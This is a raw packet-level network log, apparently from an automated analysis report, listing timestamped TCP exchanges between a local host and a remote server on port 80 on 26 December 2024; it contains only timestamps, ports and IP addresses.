Dec 26, 2024 12:05:14.173758030 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.173841953 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.173885107 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.174571037 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.174618959 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.174676895 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.174721003 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.175618887 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.175666094 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.175887108 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.175930023 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.176630020 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.176676989 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.176831007 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.176903009 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.177648067 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.177696943 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.177726984 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.177778006 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.178677082 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.178730011 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.178759098 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.178807020 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.179724932 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.179771900 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.179786921 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.179830074 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.180723906 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.180772066 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.180883884 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.180932999 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.182027102 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.182079077 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.182168007 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.182214975 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.183012962 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.183084011 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.183089972 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.183128119 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.183820963 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.183887005 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.183907986 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.183954954 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.184808969 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.184853077 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.184977055 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.185023069 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.185831070 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.185875893 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.185966015 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.186012030 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.186857939 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.186906099 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.186980963 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.187021971 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.188039064 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.188092947 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.188188076 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.188235998 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.189136982 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.189188957 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.189204931 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.189260960 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.189968109 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.190058947 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.190234900 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.190284014 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.191157103 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.191214085 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.191239119 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.191282034 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.192257881 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.192306995 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.192394972 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.192437887 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.193219900 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.193268061 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.193304062 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.193351030 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.194027901 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.194080114 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.194087982 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.194129944 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.195353985 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.195416927 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.195425034 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.195466995 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.196225882 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.196288109 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.196414948 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.196468115 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.197092056 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.197154045 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.197187901 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.197231054 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.198108912 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.198168039 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.198220968 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.198272943 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.199142933 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.199244976 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.199246883 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.199294090 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.200201988 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.200258017 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.357353926 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.357376099 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.357542992 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.357865095 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.357917070 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.357920885 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.357961893 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.358820915 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.358869076 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.359010935 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.359078884 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.359853029 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.359901905 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.359934092 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.359971046 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.360959053 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.361010075 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.361067057 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.361118078 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.362006903 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.362054110 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.362081051 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.362162113 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.362977028 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.363050938 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.363081932 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.363130093 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.363951921 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.364002943 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.364041090 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.364092112 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.365576982 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.365590096 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.365638018 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.365638018 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.366020918 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.366089106 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.366216898 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.366277933 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.367098093 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.367142916 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.367202997 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.367295027 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.368561029 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.368611097 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.368611097 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.368654966 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.368669033 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.369165897 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.369226933 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.369227886 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.369273901 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.370131016 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.370193958 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.370229006 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.370279074 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.371143103 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.371192932 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.371239901 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.371283054 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.372520924 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.372574091 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.372697115 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.372741938 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.381165981 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.381241083 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.381253958 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.381268978 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.381285906 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.381300926 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.381325006 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.381344080 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.381356955 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.381366968 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.381428003 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.381428003 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.381467104 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.381479025 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.381510019 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.381545067 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.381604910 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.381622076 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.381634951 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.381647110 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.381659031 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.381661892 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.381673098 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.381676912 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.381676912 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.381691933 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.381763935 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.381875038 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.381886005 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.381897926 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.381908894 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.381920099 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.381933928 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.381963968 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.382450104 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.382493019 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.382605076 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.382647991 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.383436918 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.383486986 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.383487940 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.383533001 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.384460926 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.384505033 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.384541988 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.384588957 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.385508060 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.385555983 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.385560036 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.385605097 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.386506081 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.386555910 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.386600018 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.386647940 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.387533903 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.387589931 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.387644053 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.387691021 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.388592958 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.388639927 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.388669014 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.388712883 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.389600992 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.389642954 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.389722109 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.389766932 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.390607119 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.390650034 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.390685081 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.390726089 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.391952038 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.392000914 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.392055035 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.392093897 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.392714024 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.392761946 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.392832994 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.392879963 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.393687010 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.393737078 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.393805981 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.393851995 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.394736052 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.394756079 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.394779921 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.394804955 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.395705938 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.395754099 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.395787954 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.395832062 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.396787882 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.396833897 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.396869898 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.396913052 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.397783041 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.397829056 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.397866011 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.397912025 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.398796082 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.398842096 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.398900032 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.398947954 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.399853945 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.399899960 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.399959087 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.400003910 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.401223898 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.401268005 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.401420116 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.401464939 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.402430058 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.402565956 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.402616024 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.403513908 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.403559923 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.403594017 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.403634071 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.404536009 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.404583931 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.404602051 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.404644012 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.405697107 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.405745983 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.405872107 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.405915022 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.406908035 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.406927109 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.406951904 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.406970978 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.407917976 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.407994986 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.408042908 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.408783913 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.408826113 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.408829927 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.408865929 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.409699917 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.409748077 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.409802914 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.409842014 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.410691977 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.410772085 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.410818100 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.411711931 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.411757946 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.568515062 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.568545103 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.568620920 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.568962097 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.569011927 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.569050074 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.569096088 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.569962025 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.570103884 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.570156097 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.571007013 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.571053982 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.571099997 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.571151018 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.572026968 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.572089911 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.572114944 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.572164059 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.573079109 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.573120117 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.573136091 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.573167086 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.574079990 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.574135065 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.574202061 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.574259996 CET	49708	80	192.168.2.5	185.81.68.147
